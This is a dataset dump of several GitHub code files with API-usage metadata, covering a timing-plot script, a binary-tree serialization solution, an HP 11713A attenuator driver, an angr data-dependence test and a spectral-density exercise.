[{"api_name": "sys.path.append", "line_number": 21, "usage_type": "call"}, {"api_name": "sys.path", "line_number": 21, "usage_type": "attribute"}, {"api_name": "sys.path.append", "line_number": 24, "usage_type": "call"}, {"api_name": "sys.path", "line_number": 24, "usage_type": "attribute"}, {"api_name": "sys.path.append", "line_number": 30, "usage_type": "call"}, {"api_name": "sys.path", "line_number": 30, "usage_type": "attribute"}, {"api_name": "spacy.load", "line_number": 41, "usage_type": "call"}, {"api_name": "neuralcoref.NeuralCoref", "line_number": 42, "usage_type": "call"}, {"api_name": "spacy.load", "line_number": 46, "usage_type": "call"}, {"api_name": "spacy.load", "line_number": 48, "usage_type": "call"}, {"api_name": "spacy_dbpedia_spotlight.initialize.load", "line_number": 49, "usage_type": "call"}, {"api_name": "spacy_dbpedia_spotlight.initialize", "line_number": 49, "usage_type": "name"}, {"api_name": "spacy.load", "line_number": 52, "usage_type": "call"}, {"api_name": "sentiment.target_based_sentiment.TargetSentimentAnalyzer", "line_number": 56, "usage_type": "call"}, {"api_name": "sentiment.target_based_sentiment", "line_number": 56, "usage_type": "name"}, {"api_name": "sentiment.general_sentiment.GeneralSentimentAnalyzer", "line_number": 59, "usage_type": "call"}, {"api_name": "sentiment.general_sentiment", "line_number": 59, "usage_type": "name"}, {"api_name": "datetime.datetime.now", "line_number": 68, "usage_type": "call"}, {"api_name": "datetime.datetime", "line_number": 68, "usage_type": "name"}, {"api_name": "datetime.datetime.now", "line_number": 82, "usage_type": "call"}, {"api_name": "datetime.datetime", "line_number": 82, "usage_type": "name"}, {"api_name": "datetime.datetime.now", "line_number": 87, "usage_type": "call"}, {"api_name": "datetime.datetime", "line_number": 87, "usage_type": "name"}, {"api_name": "datetime.datetime.now", "line_number": 95, "usage_type": "call"}, {"api_name": "datetime.datetime", "line_number": 95, "usage_type": "name"}, {"api_name": "datetime.datetime.now", "line_number": 106, "usage_type": "call"}, {"api_name": "datetime.datetime", "line_number": 106, "usage_type": "name"}, {"api_name": "numpy.zeros", "line_number": 120, "usage_type": "call"}, {"api_name": "numpy.put", "line_number": 158, "usage_type": "call"}, {"api_name": "copy.deepcopy", "line_number": 163, "usage_type": "call"}, {"api_name": "copy.deepcopy", "line_number": 175, "usage_type": "call"}, {"api_name": "pandas.DataFrame.from_records", "line_number": 197, "usage_type": "call"}, {"api_name": "pandas.DataFrame", "line_number": 197, "usage_type": "attribute"}, {"api_name": "itertools.chain.from_iterable", "line_number": 206, "usage_type": "call"}, {"api_name": "itertools.chain", "line_number": 206, "usage_type": "name"}, {"api_name": "collections.Counter", "line_number": 207, "usage_type": "call"}, {"api_name": "pandas.Series", "line_number": 308, "usage_type": "call"}, {"api_name": "pandas.Series", "line_number": 311, "usage_type": "call"}, {"api_name": "spacy.displacy.serve", "line_number": 332, "usage_type": "call"}, {"api_name": "spacy.displacy", "line_number": 332, "usage_type": "name"}, {"api_name": "spacy.displacy.serve", "line_number": 334, "usage_type": "call"}, {"api_name": "spacy.displacy", "line_number": 334, "usage_type": "name"}, {"api_name": "pandas.read_csv", "line_number": 337, "usage_type": "call"}, {"api_name": "datetime.datetime.now", "line_number": 345, "usage_type": "call"}, {"api_name": "datetime.datetime", "line_number": 345, "usage_type": "name"}, {"api_name": "datetime.datetime.now", "line_number": 348, "usage_type": "call"}, {"api_name": "datetime.datetime", "line_number": 348, "usage_type": "name"}, {"api_name": "os.path.isdir", "line_number": 351, "usage_type": "call"}, {"api_name": "os.path", "line_number": 351, "usage_type": "attribute"}, {"api_name": "os.mkdir", "line_number": 352, "usage_type": "call"}, {"api_name": "time.process_time", "line_number": 363, "usage_type": "call"}, {"api_name": "datetime.timedelta", "line_number": 371, "usage_type": "call"}, {"api_name": "datetime.datetime.now", "line_number": 372, "usage_type": "call"}, {"api_name": "datetime.datetime", "line_number": 372, "usage_type": "name"}, {"api_name": "read_data.get_representative_df", "line_number": 380, "usage_type": "call"}, {"api_name": "datetime.timedelta", "line_number": 382, "usage_type": "call"}, {"api_name": "pandas.DataFrame", "line_number": 389, "usage_type": "call"}, {"api_name": "datetime.timedelta", "line_number": 449, "usage_type": "call"}, {"api_name": "datetime.timedelta", "line_number": 456, "usage_type": "call"}, {"api_name": "time.process_time", "line_number": 459, "usage_type": "call"}, {"api_name": "os.path.isdir", "line_number": 466, "usage_type": "call"}, {"api_name": "os.path", "line_number": 466, "usage_type": "attribute"}, {"api_name": "os.mkdir", "line_number": 467, "usage_type": "call"}, {"api_name": "os.path.isdir", "line_number": 469, "usage_type": "call"}, {"api_name": "os.path", "line_number": 469, "usage_type": "attribute"}, {"api_name": "os.mkdir", "line_number": 470, "usage_type": "call"}, {"api_name": "datetime.datetime.strptime", "line_number": 485, "usage_type": "call"}, {"api_name": "datetime.datetime", "line_number": 485, "usage_type": "name"}, {"api_name": "datetime.datetime.strptime", "line_number": 486, "usage_type": "call"}, {"api_name": "datetime.datetime", "line_number": 486, "usage_type": "name"}]}
{"seq_id": "30751853528", "text": "import matplotlib.pyplot as plt\nimport numpy as np\nimport inspect\nimport Algorithm as alg\nqtd = [1000, 5000, 10000, 15000, 20000, 25000, 50000, 100000]\ntipos = ['aleatorios', 'crescentes', 'decrescentes']\nfuncoes = inspect.getmembers(alg, inspect.isfunction)\nqplot = 0\nfor t  in tipos:\n    plt.figure(qplot)\n    fileName = './Resultados/results_' + str(t) + '.txt'\n    afile = open(fileName, \"r\")\n    vetor = [x for x in afile.read().split(\"\\n\")]\n    for i in range(0, len(funcoes)):\n        vetorplot = []\n        for j in range(0, len(funcoes)-1):\n            print(vetor[i+j*len(funcoes)].split(\" \"))\n            yval = float(vetor[i+j*len(funcoes)].split(\" \")[2])\n            vetorplot.append(yval)\n            print(str(yval))\n        plt.plot(qtd, vetorplot, linewidth=1.5,  marker='o')\n\n    plt.legend([f[1].__name__ for f in funcoes], loc='best')\n    plt.title(\"Dados:\" + t)\n    plt.grid(True)\n    plt.xlabel(\"Tamanho da entrada : n\")\n    plt.ylabel(\"Tempo: s\")\n    plt.savefig('./Resultados/Graficos/' + t + '.png')\n    # plt.show()\n    qplot = qplot+1", "repo_name": "gilmarfrancisco828/T01_PAA", "sub_path": "gerador_graficos_especifico.py", "file_name": "gerador_graficos_especifico.py", "file_ext": "py", "file_size_in_byte": 1061, "program_lang": "python", "lang": "en", "doc_type": "code", "stars": 0, "dataset": "github-code", "pt": "81", "api": [{"api_name": "inspect.getmembers", "line_number": 7, "usage_type": "call"}, {"api_name": "inspect.isfunction", "line_number": 7, "usage_type": "attribute"}, {"api_name": "matplotlib.pyplot.figure", "line_number": 10, "usage_type": "call"}, {"api_name": "matplotlib.pyplot", "line_number": 10, "usage_type": "name"}, {"api_name": "matplotlib.pyplot.plot", "line_number": 21, "usage_type": "call"}, {"api_name": "matplotlib.pyplot", "line_number": 21, "usage_type": "name"}, {"api_name": "matplotlib.pyplot.legend", "line_number": 23, "usage_type": "call"}, {"api_name": "matplotlib.pyplot", "line_number": 23, "usage_type": "name"}, {"api_name": "matplotlib.pyplot.title", "line_number": 24, "usage_type": "call"}, {"api_name": "matplotlib.pyplot", "line_number": 24, "usage_type": "name"}, {"api_name": "matplotlib.pyplot.grid", "line_number": 25, "usage_type": "call"}, {"api_name": "matplotlib.pyplot", "line_number": 25, "usage_type": "name"}, {"api_name": "matplotlib.pyplot.xlabel", "line_number": 26, "usage_type": "call"}, {"api_name": "matplotlib.pyplot", "line_number": 26, "usage_type": "name"}, {"api_name": "matplotlib.pyplot.ylabel", "line_number": 27, "usage_type": "call"}, {"api_name": "matplotlib.pyplot", "line_number": 27, "usage_type": "name"}, {"api_name": "matplotlib.pyplot.savefig", "line_number": 28, "usage_type": "call"}, {"api_name": "matplotlib.pyplot", "line_number": 28, "usage_type": "name"}]}
{"seq_id": "32246947370", "text": "# Version0\n# 约定前序遍历\n# TC：O(N), SC:O(N)\n# 两种写法都可，若迭代中不能使用全局对象，应该使用类似链表的数据记录每一步更新且递回更新节点\n# Definition for a binary tree node.\n# class TreeNode(object):\n#     def __init__(self, x):\n#         self.val = x\n#         self.left = None\n#         self.right = None\n\n'''\nclass Codec:\n\n    def serialize(self, root):\n        \"\"\"\n        Encodes a tree to a single string.\n        :type root: TreeNode\n        :rtype: str\n        \"\"\"\n        se_str = serializeStep(root, \"\")\n        return se_str.strip(\",\")\n\n    def deserialize(self, data):\n        data = data.split(\",\")\n        return deserializeStep(data)\n\n\ndef serializeStep(node, se_str):\n    # 先序遍历，外加None,None确定叶结点\n    if node == None:\n        se_str += \"None,\"\n    else:\n        se_str += str(node.val) + \",\"\n        se_str = serializeStep(node.left, se_str)\n        se_str = serializeStep(node.right, se_str)\n\n    return se_str\n\n\ndef deserializeStep(data):\n    val = data.pop(0)\n    if val == \"None\":\n        return \n\n    root = TreeNode(int(val))\n    root.left = deserializeStep(data)\n    root.right = deserializeStep(data)\n\n    return root\n   # v2\n    def deserialize(self, data):\n        \"\"\"\n        Decodes your encoded data to tree.\n        :type data: str\n        :rtype: TreeNode\n        \"\"\"\n        data = data.split(\",\")\n        if len(data) == 1:\n            root = None\n            return root\n\n        root = TreeNode(0)  # init with 0 root\n        root, data = deserializeStep(root, data)\n        return root\n\n# v2\ndef deserializeStep(node, se_list):\n    # 同源的当层节点在当前函数中更新，所以只需传递序列数组就能重建子树\n    # 函数返回更改后的序列数组\n    # 当左子树为空时，返回的序列数组已将左子树元素弹出，重建当前节点右子树\n    # 当左右子树都为空时，返回的序列数组已经将当前子节点树元素弹出，返回父节点重建其右子树\n    # 最终返回给根节点的数组是空的\n    val = se_list.pop(0)\n    if val != \"None\":  # 只有非空才是节点对象\n        node = TreeNode(int(val))\n\n    else:\n        node = None\n        return node, se_list\n\n    node.left, se_list = deserializeStep(node.left, se_list)\n    node.right, se_list = deserializeStep(node.right, se_list)\n\n    return node, se_list\n'''\n\n\n'''\n# Version1\n# LL(1)型文法编码\n# TC: O(N), SC: O(N)\nclass Codec:\n    def serialize(self, root):\n        if root == None:\n            return \"X\"\n\n        l = \"(\" + serialize(root.left) + \")\"\n        r = \"(\" + serialize(root.right) + \")\"\n        return l + str(root.val) + r\n\n\n    def deserialize(self, data):\n        ptr = [0]\n        return parse(data, ptr)\n\n\ndef parse(data, ptr):\n    if data[ptr[0]] == \"X\":\n'''\n\n\n# Version2\n# 队列 + BFS遍历\nfrom collections import deque\nclass Codec:\n    def serialize(self, root):\n        if not root: return None\n        q = deque()\n        q.append(root)\n        res = \"\"\n        while q:\n            node = q.popleft()\n            if node != None:\n                res += str(node.val) + \",\"\n                q.append(node.left)\n                q.append(node.right)\n            else:\n                res += \"X,\"\n        return res\n\n    def deserialize(self, data):\n        if not data: return None\n        data = data.split(\",\")\n        root = TreeNode(data.pop(0))\n        q = [root]\n        while q:\n            node = q.pop(0)\n            if data:\n                val = data.pop(0)\n                if val != \"X\":\n                    node.left = TreeNode(val)\n                    q.append(node.left)\n            if data:\n                val = data.pop(0)\n                if val != \"X\":\n                    node.right = TreeNode(val)\n                    q.append(node.right)\n        return root\n", "repo_name": "NeyoShinado/Learn_Leetcode", "sub_path": "297_serialize_deserialize.py", "file_name": "297_serialize_deserialize.py", "file_ext": "py", "file_size_in_byte": 3855, "program_lang": "python", "lang": "en", "doc_type": "code", "stars": 0, "dataset": "github-code", "pt": "81", "api": [{"api_name": "collections.deque", "line_number": 119, "usage_type": "call"}]}
{"seq_id": "20523967899", "text": "import logging\nfrom pymeasure.instruments import Instrument, Channel\n\nlog = logging.getLogger(__name__)\nlog.addHandler(logging.NullHandler())\n\nAttenuator_11dB = {\n    0: (False, False, False, False),\n    1: (True, False, False, False),\n    2: (False, True, False, False),\n    3: (True, True, False, False),\n    4: (False, False, False, True),\n    5: (True, False, False, True),\n    6: (False, True, False, True),\n    7: (True, True, False, True),\n    8: (False, False, True, True),\n    9: (True, False, True, True),\n    10: (False, True, True, True),\n    11: (True, True, True, True),\n}\n\"\"\" Mapping of logical values for use with 0 - 11 dB attenuators \"\"\"\n\nAttenuator_110dB = {\n    0: (False, False, False, False),\n    10: (True, False, False, False),\n    20: (False, True, False, False),\n    30: (True, True, False, False),\n    40: (False, False, False, True),\n    50: (True, False, False, True),\n    60: (False, True, False, True),\n    70: (True, True, False, True),\n    80: (False, False, True, True),\n    90: (True, False, True, True),\n    100: (False, True, True, True),\n    110: (True, True, True, True),\n}\n\"\"\" Mapping of logical values for use with 0 - 110 dB attenuators \"\"\"\n\nAttenuator_70dB_3_Section = {\n    0: (False, False, False, False),\n    10: (True, False, False, False),\n    20: (False, True, False, False),\n    30: (True, True, False, False),\n    40: (False, False, True, False),\n    50: (True, False, True, False),\n    60: (False, True, True, False),\n    70: (True, True, True, False),\n}\n\"\"\" Mapping of logical values for use with 0 - 70 dB attenuators with 3 switching sections \"\"\"\n\nAttenuator_70dB_4_Section = {\n    0: (False, False, False, False),\n    10: (True, False, False, False),\n    20: (False, False, False, True),\n    30: (True, False, False, True),\n    40: (False, True, False, True),\n    50: (True, True, False, True),\n    60: (False, True, True, True),\n    70: (True, True, True, True),\n}\n\"\"\" Mapping of logical values for use with 0 - 70 dB attenuators with 4 switching sections \"\"\"\n\n\nclass SwitchDriverChannel(Channel):\n    enabled = Instrument.setting(\n        \"%s{ch}\",\n        \"\"\"\n        Set this channel to the polarity 'A' for True and 'B' for False.\n        \"\"\",\n        map_values=True,\n        values={True: \"A\", False: \"B\"}\n    )\n\n\nclass HP11713A(Instrument):\n    \"\"\"\n    Represents the HP 11713A Switch and Attenuator Driver and provides a high-level\n    interface for interacting with the instrument.\n\n    Usually an attenuator is hooked to either X or Y or X and Y. To ease the control\n    of the attenuator driver you have the possibility to set an attenuator type via\n    the attribute 'ATTENUATOR_X' or 'ATTENUATOR_Y'. The hp11713a keeps different default attenuator\n    mappings. After setting the attenuator type you are able to use the methods 'attenuation_x'\n    and/or 'attenuation_y' to set the switch driver to the correct value for the specified\n    attenuation. The attenuation values are rounded.\n\n    .. code-block:: python\n\n        from pymeasure.instruments.hp import HP11713A\n        from pymeasure.instruments.hp.hp11713a import Attenuator_110dB\n\n        sd = HP11713A(\"GPIB::1\")\n\n        sd.ATTENUATOR_Y = Attenuator_110dB\n        sd.attenuation_y(10)\n        sd.ch_0.enabled = True\n\n    \"\"\"\n\n    ATTENUATOR_X = {}\n    ATTENUATOR_Y = {}\n\n    channels = Instrument.MultiChannelCreator(SwitchDriverChannel, list(range(0, 9)))\n\n    def __init__(self, adapter, name=\"Hewlett-Packard HP11713A\",\n                 **kwargs):\n        super().__init__(\n            adapter,\n            name,\n            includeSCPI=False,\n            send_end=True,\n            **kwargs,\n        )\n\n    def attenuation_x(self, attenuation):\n        \"\"\" Set switches according to the attenuation in dB for X\n\n        The set attenuation will be rounded to the next available step.\n        An attenuation mapping has to be set in before e.g.\n\n        .. code-block:: python\n\n            from pymeasure.instruments.hp.hp11713a import HP11713A, Attenuator_110dB\n\n            instr.ATTENUATOR_X = Attenuator_110dB\n            instr.attenuation_x(10)\n        \"\"\"\n        rounding = 0\n        if list(self.ATTENUATOR_X.keys())[1] == 10:\n            rounding = -1\n\n        self.ch_1.enabled, self.ch_2.enabled, self.ch_3.enabled, self.ch_4.enabled = \\\n            self.ATTENUATOR_X[int(round(attenuation, rounding))]\n\n    def attenuation_y(self, attenuation):\n        \"\"\" Set switches according to the attenuation in dB for Y\n\n        The set attenuation will be rounded to the next available step.\n        An attenuation mapping has to be set in before e.g.\n\n        .. code-block:: python\n\n            from pymeasure.instruments.hp.hp11713a import HP11713A, Attenuator_110dB\n\n            instr.ATTENUATOR_Y = Attenuator_110dB\n            instr.attenuation_y(10)\n        \"\"\"\n        rounding = 0\n        if list(self.ATTENUATOR_Y.keys())[1] == 10:\n            rounding = -1\n\n        self.ch_5.enabled, self.ch_6.enabled, self.ch_7.enabled, self.ch_8.enabled = \\\n            self.ATTENUATOR_Y[int(round(attenuation, rounding))]\n\n    def deactivate_all(self):\n        \"\"\"\n        Deactivate all switches to polarity 'B'.\n        \"\"\"\n        self.write(\"B1234567890\")\n", "repo_name": "pymeasure/pymeasure", "sub_path": "pymeasure/instruments/hp/hp11713a.py", "file_name": "hp11713a.py", "file_ext": "py", "file_size_in_byte": 5200, "program_lang": "python", "lang": "en", "doc_type": "code", "stars": 514, "dataset": "github-code", "pt": "81", "api": [{"api_name": "logging.getLogger", "line_number": 4, "usage_type": "call"}, {"api_name": "logging.NullHandler", "line_number": 5, "usage_type": "call"}, {"api_name": "pymeasure.instruments.Channel", "line_number": 64, "usage_type": "name"}, {"api_name": "pymeasure.instruments.Instrument.setting", "line_number": 65, "usage_type": "call"}, {"api_name": "pymeasure.instruments.Instrument", "line_number": 65, "usage_type": "name"}, {"api_name": "pymeasure.instruments.Instrument", "line_number": 75, "usage_type": "name"}, {"api_name": "pymeasure.instruments.Instrument.MultiChannelCreator", "line_number": 103, "usage_type": "call"}, {"api_name": "pymeasure.instruments.Instrument", "line_number": 103, "usage_type": "name"}]}
{"seq_id": "28439182518", "text": "import os\nimport angr\nimport nose\n\n\ntest_location = str(os.path.join(os.path.dirname(os.path.realpath(__file__)), '../../binaries/tests'))\narches = {'x86_64'}\n\ndef main():\n    test_ddg_global_var_dependencies()\n\ndef test_ddg_global_var_dependencies():\n    for arch in arches:\n        run_ddg_global_var_dependencies(arch)\n\ndef run_ddg_global_var_dependencies(arch):\n    test_file = os.path.join(test_location, arch, 'ddg_global_var_dependencies')\n    proj = angr.Project(test_file, auto_load_libs=False)\n    cfg = proj.analyses.CFGEmulated(context_sensitivity_level=2, keep_state=True, state_add_options=angr.sim_options.refs)\n    ddg = proj.analyses.DDG(cfg)\n    main_func = cfg.functions.function(name='main')\n\n    target_block_addr = main_func.ret_sites[0].addr\n    target_block = proj.factory.block(addr=target_block_addr)\n    tgt_stmt_idx, tgt_stmt = get_target_stmt(proj, target_block)\n    assert tgt_stmt_idx is not None\n    buf_addr = tgt_stmt.data.addr.con.value\n    tgt_ddg_node = get_ddg_node(ddg, target_block_addr, tgt_stmt_idx)\n    assert tgt_ddg_node is not None\n\n    # Whether the target depends on the statement assigning 'b' to the global variable\n    has_correct_dependency = False\n    for pred in ddg.get_predecessors(tgt_ddg_node):\n        pred_block = proj.factory.block(addr=pred.block_addr)\n        stmt = pred_block.vex.statements[pred.stmt_idx]\n        has_correct_dependency |= check_dependency(stmt, buf_addr, ord('b'))\n\n        # If the target depends on the statement assigning 'a' to the global variable, it is underconstrained (this assignment should be overwritten by the 'b' assignment)\n        nose.tools.assert_false(check_dependency(stmt, buf_addr, ord('a')), msg=\"Target statement has incorrect dependency (DDG is underconstrained)\")\n    nose.tools.assert_true(has_correct_dependency, msg='Target statement does not have correct dependency (DDG is overconstrained)')\n\n\n\ndef check_dependency(stmt, addr, const):\n    # Check if we are storing a constant to a variable with constant address\n    if stmt.tag == 'Ist_Store' and stmt.addr.tag == 'Iex_Const' and stmt.data.tag == 'Iex_Const':\n        # Check if we are storing the specified constant to the specified variable address\n        if stmt.addr.con.value == addr and stmt.data.con.value == const:\n            return True\n\n    return False\n\ndef get_ddg_node(ddg, block_addr, stmt_idx):\n    for node in ddg.graph.nodes:\n        if node.block_addr == block_addr and node.stmt_idx == stmt_idx:\n            return node\n    return None\n\ndef get_target_stmt(proj, block):\n    for i, stmt in enumerate(block.vex.statements):\n        # We're looking for the instruction that loads a constant memory address into a temporary variable\n        if stmt.tag == 'Ist_WrTmp' and stmt.data.tag == 'Iex_Load' and stmt.data.addr.tag == 'Iex_Const':\n            addr = stmt.data.addr.con.value\n            section = proj.loader.main_object.find_section_containing(addr)\n            # Confirm the memory address is in the uninitialized data section\n            if section.name == '.bss':\n                return i, stmt\n    return None, None\n\n\nif __name__ == \"__main__\":\n    main()\n", "repo_name": "ucsb-seclab/heapster", "sub_path": "heapster-env/angr-dev/angr/tests/test_ddg_global_var_dependencies.py", "file_name": "test_ddg_global_var_dependencies.py", "file_ext": "py", "file_size_in_byte": 3151, "program_lang": "python", "lang": "en", "doc_type": "code", "stars": 34, "dataset": "github-code", "pt": "81", "api": [{"api_name": "os.path.join", "line_number": 6, "usage_type": "call"}, {"api_name": "os.path", "line_number": 6, "usage_type": "attribute"}, {"api_name": "os.path.dirname", "line_number": 6, "usage_type": "call"}, {"api_name": "os.path.realpath", "line_number": 6, "usage_type": "call"}, {"api_name": "os.path.join", "line_number": 17, "usage_type": "call"}, {"api_name": "os.path", "line_number": 17, "usage_type": "attribute"}, {"api_name": "angr.Project", "line_number": 18, "usage_type": "call"}, {"api_name": "angr.sim_options", "line_number": 19, "usage_type": "attribute"}, {"api_name": "nose.tools.assert_false", "line_number": 39, "usage_type": "call"}, {"api_name": "nose.tools", "line_number": 39, "usage_type": "attribute"}, {"api_name": "nose.tools.assert_true", "line_number": 40, "usage_type": "call"}, {"api_name": "nose.tools", "line_number": 40, "usage_type": "attribute"}]}
{"seq_id": "73481068746", "text": "# -*- coding: utf-8 -*-\n\"\"\"\nCreated on Tue Sep 21 15:52:46 2021\n\n@author: Ema\nBilbio para la res de esta tarea Holton pag 888\n\"\"\"\n\nimport numpy as np\nimport matplotlib.pyplot as plt\nimport scipy.signal as sig\nimport scipy.stats as stats\nimport matplotlib.patches as mpatches\nfrom scipy.fft import *\n\n#%% Set-UP\nplt.close(\"all\")\nN = 1000 # muestras\nfs= 1000 #Hz\n\nts = 1/fs # tiempo de muestreo\n\nt=np.arange(0,1,ts)\n\nK0=N/4\nK1=N/4+0.025\nK2=N/4+0.5\n#%% Config de mi seno y vector de frecuencia\n#senoidal de amplitud 1\namp=1 #amplitud en volts\nfreq0=K0*fs/N #frecuencia en Hz\n\nfase=0 #radianes\ndf=fs/N\nf=np.arange(0,fs,df)\nbfrec = f <= fs/2\nseno_cont0 = amp*np.sin(2 * np.pi * freq0 * t + fase)\n\n#%%Config del seno 2\nfreq1=K1*fs/N #frecuencia en Hz\nseno_cont1 = np.sqrt(amp)*np.sin(2 * np.pi * freq1 * t + fase)\n\n#%%Config del seno 3\nfreq2=K2*fs/N #frecuencia en Hz\nseno_cont2 = amp*np.sin(2 * np.pi * freq2 * t + fase)\n#%% Energia de mi señal\n#Este es el valor de la energia en el tiempo, se debe repetir en frecuencia\n#por Parseval asique lo puedo usar para normalizar o comparar que este todo bien\n#No olvidar el tema de la cantidad de muestras\nE0=sum(np.abs(seno_cont0)**2)\nE1=sum(np.abs(seno_cont1)**2)\nE2=sum(np.abs(seno_cont2)**2)\n\n#%% Calculo la densidad espectral de potencia\n#Si integro estas funciones densisdad tendrian que ser iguales a sus correspondientes\n#Energias en tiempo\nDEP0=np.abs(fft(seno_cont0))**2\nDEP1=np.abs(fft(seno_cont1))**2\nDEP2=np.abs(fft(seno_cont2))**2\n\nDEP0_int=sum(DEP0)/N\nDEP1_int=sum(DEP1)/N\nDEP2_int=sum(DEP2)/N\n#%% Muestro las DEP o PSD power spectral density\nplt.figure(1)\n\nplt.plot(f, DEP0/(E0*N))\nplt.title(\"DEP0\")\nplt.ylabel(\"Potencia[W]\")\nplt.xlabel(\"frec[Hz]\")\nplt.xlim(0, fs/2)\n\nplt.figure(2)\nplt.plot(f, DEP1/(E1*N))\nplt.title(\"DEP1\")\nplt.ylabel(\"Potencia[W]\")\nplt.xlabel(\"frec[Hz]\")\nplt.xlim(0, fs/2)\n\nplt.figure(3)\n\nplt.plot(f, DEP2/(E2*N))\nplt.title(\"DEP2\")\nplt.ylabel(\"Potencia[W]\")\nplt.xlabel(\"frec[Hz]\")\nplt.xlim(0, fs/2)\n##Al visualizar las 3 DEP puedo ver que ese pequeño desfasaje en la delta f\n##Hace que mi potencia ya no se concentre en el un punto sino que se desparrama\n##A otras frecuencias vecinas\n#%% Config de la window\nwindow = sig.windows.boxcar(len(t))\n\n####Verificacion visual de la window en t\n# plt.figure(0)\n# plt.plot(t,window)\n# plt.title(\"Boxcar window\")\n# plt.ylabel(\"Amplitud\")\n# plt.xlabel(\"Tiempo\")\n\n#%%Preparo las salidas para despues plotear\n    #%%caso 1 no se distingue la sincoide\n    \n# fft_w=np.abs(fft(window)/len(window))\n# freqs_1 = fftfreq(fft_w.size, 0.1)\n# plt.plot(freqs_1, fft_w)\n# plt.xlim(0, 0.5)\n\n\n    #%%caso 2 se distingue la sincoide\n# w_fft = fft(window, n=5000)\n# freqs = fftfreq(w_fft.size, 0.1)\n# ##Normalizo por su valor pico\n# w_fft_db=20*np.log10(np.abs(w_fft) / np.abs(w_fft).max())\n# plt.figure(1)\n# plt.plot(freqs, w_fft_db,'--r')\n# plt.xlim(0, 0.1)\n# plt.ylim(-30,0)\n\n\n# #%%fft del seno\n# fft_x=np.abs(fft(seno_cont0)/len(seno_cont0))\n\n#%%convol\n# convol=sig.convolve(fft_x,fft_w)\n#%%Plots\n\n# plt.figure(1)\n\n# plt.plot(f, 20*np.log10(np.abs(fft_w) / np.abs(fft_w).max()))\n# plt.title(\"Boxcar window fft\")\n# plt.ylabel(\"Amplitud\")\n# plt.xlabel(\"frec\")\n\n\n# plt.figure(2)\n\n# plt.plot(f[0:500],fft_x[0:500])\n# plt.title(\"seno fft\")\n# plt.ylabel(\"Amplitud\")\n# plt.xlabel(\"frec\")", "repo_name": "EmaOlay/PDS2021", "sub_path": "avance TS5.py", "file_name": "avance TS5.py", "file_ext": "py", "file_size_in_byte": 3283, "program_lang": "python", "lang": "es", "doc_type": "code", "stars": 0, "dataset": "github-code", "pt": "81", "api": [{"api_name": "matplotlib.pyplot.close", "line_number": 17, "usage_type": "call"}, {"api_name": "matplotlib.pyplot", "line_number": 17, "usage_type": "name"}, {"api_name": "numpy.arange", "line_number": 23, "usage_type": "call"}, {"api_name": "numpy.arange", "line_number": 35, "usage_type": "call"}, {"api_name": "numpy.sin", "line_number": 37, "usage_type": "call"}, {"api_name": "numpy.pi", "line_number": 37, "usage_type": "attribute"}, {"api_name": "numpy.sqrt", "line_number": 41, "usage_type": "call"}, {"api_name": "numpy.sin", "line_number": 41, "usage_type": "call"}, {"api_name": "numpy.pi", "line_number": 41, "usage_type": "attribute"}, {"api_name": "numpy.sin", "line_number": 45, "usage_type": "call"}, {"api_name": "numpy.pi", "line_number": 45, "usage_type": "attribute"}, {"api_name": "numpy.abs", "line_number": 50, "usage_type": "call"}, {"api_name": "numpy.abs", "line_number": 51, "usage_type": "call"}, {"api_name": "numpy.abs", "line_number": 52, "usage_type": "call"}, {"api_name": "numpy.abs", "line_number": 57, "usage_type": "call"}, {"api_name": "numpy.abs", "line_number": 58, "usage_type": "call"}, {"api_name": "numpy.abs", "line_number": 59, "usage_type": "call"}, {"api_name": "matplotlib.pyplot.figure", "line_number": 65, "usage_type": "call"}, {"api_name": "matplotlib.pyplot", "line_number": 65, "usage_type": "name"}, {"api_name": "matplotlib.pyplot.plot", "line_number": 67, "usage_type": "call"}, {"api_name": "matplotlib.pyplot", "line_number": 67, "usage_type": "name"}, {"api_name": "matplotlib.pyplot.title", "line_number": 68, "usage_type": "call"}, {"api_name": "matplotlib.pyplot", "line_number": 68, "usage_type": "name"}, {"api_name": "matplotlib.pyplot.ylabel", "line_number": 69, "usage_type": "call"}, {"api_name": "matplotlib.pyplot", "line_number": 69, "usage_type": "name"}, {"api_name": "matplotlib.pyplot.xlabel", "line_number": 70, "usage_type": "call"}, {"api_name": "matplotlib.pyplot", "line_number": 70, "usage_type": "name"}, {"api_name": "matplotlib.pyplot.xlim", "line_number": 71, "usage_type": "call"}, {"api_name": "matplotlib.pyplot", "line_number": 71, "usage_type": "name"}, {"api_name": "matplotlib.pyplot.figure", "line_number": 73, "usage_type": "call"}, {"api_name": "matplotlib.pyplot", "line_number": 73, "usage_type": "name"}, {"api_name": "matplotlib.pyplot.plot", "line_number": 74, "usage_type": "call"}, {"api_name": "matplotlib.pyplot", "line_number": 74, "usage_type": "name"}, {"api_name": "matplotlib.pyplot.title", "line_number": 75, "usage_type": "call"}, {"api_name": "matplotlib.pyplot", "line_number": 75, "usage_type": "name"}, {"api_name": "matplotlib.pyplot.ylabel", "line_number": 76, "usage_type": "call"}, {"api_name": "matplotlib.pyplot", "line_number": 76, "usage_type": "name"}, {"api_name": "matplotlib.pyplot.xlabel", "line_number": 77, "usage_type": "call"}, {"api_name": "matplotlib.pyplot", "line_number": 77, "usage_type": "name"}, {"api_name": "matplotlib.pyplot.xlim", "line_number": 78, "usage_type": "call"}, {"api_name": "matplotlib.pyplot", "line_number": 78, "usage_type": "name"}, {"api_name": "matplotlib.pyplot.figure", "line_number": 80, "usage_type": "call"}, {"api_name": "matplotlib.pyplot", "line_number": 80, "usage_type": "name"}, {"api_name": "matplotlib.pyplot.plot", "line_number": 82, "usage_type": "call"}, {"api_name": "matplotlib.pyplot", "line_number": 82, "usage_type": "name"}, {"api_name": "matplotlib.pyplot.title", "line_number": 83, "usage_type": "call"}, {"api_name": "matplotlib.pyplot", "line_number": 83, "usage_type": "name"}, {"api_name": "matplotlib.pyplot.ylabel", "line_number": 84, "usage_type": "call"}, {"api_name": "matplotlib.pyplot", "line_number": 84, "usage_type": "name"}, {"api_name": "matplotlib.pyplot.xlabel", "line_number": 85, "usage_type": "call"}, {"api_name": "matplotlib.pyplot", "line_number": 85, "usage_type": "name"}, {"api_name": "matplotlib.pyplot.xlim", "line_number": 86, "usage_type": "call"}, {"api_name": "matplotlib.pyplot", "line_number": 86, "usage_type": "name"}, {"api_name": "scipy.signal.windows.boxcar", "line_number": 91, "usage_type": "call"}, {"api_name": "scipy.signal.windows", "line_number": 91, "usage_type": "attribute"}, {"api_name": "scipy.signal", "line_number": 91, "usage_type": "name"}]}
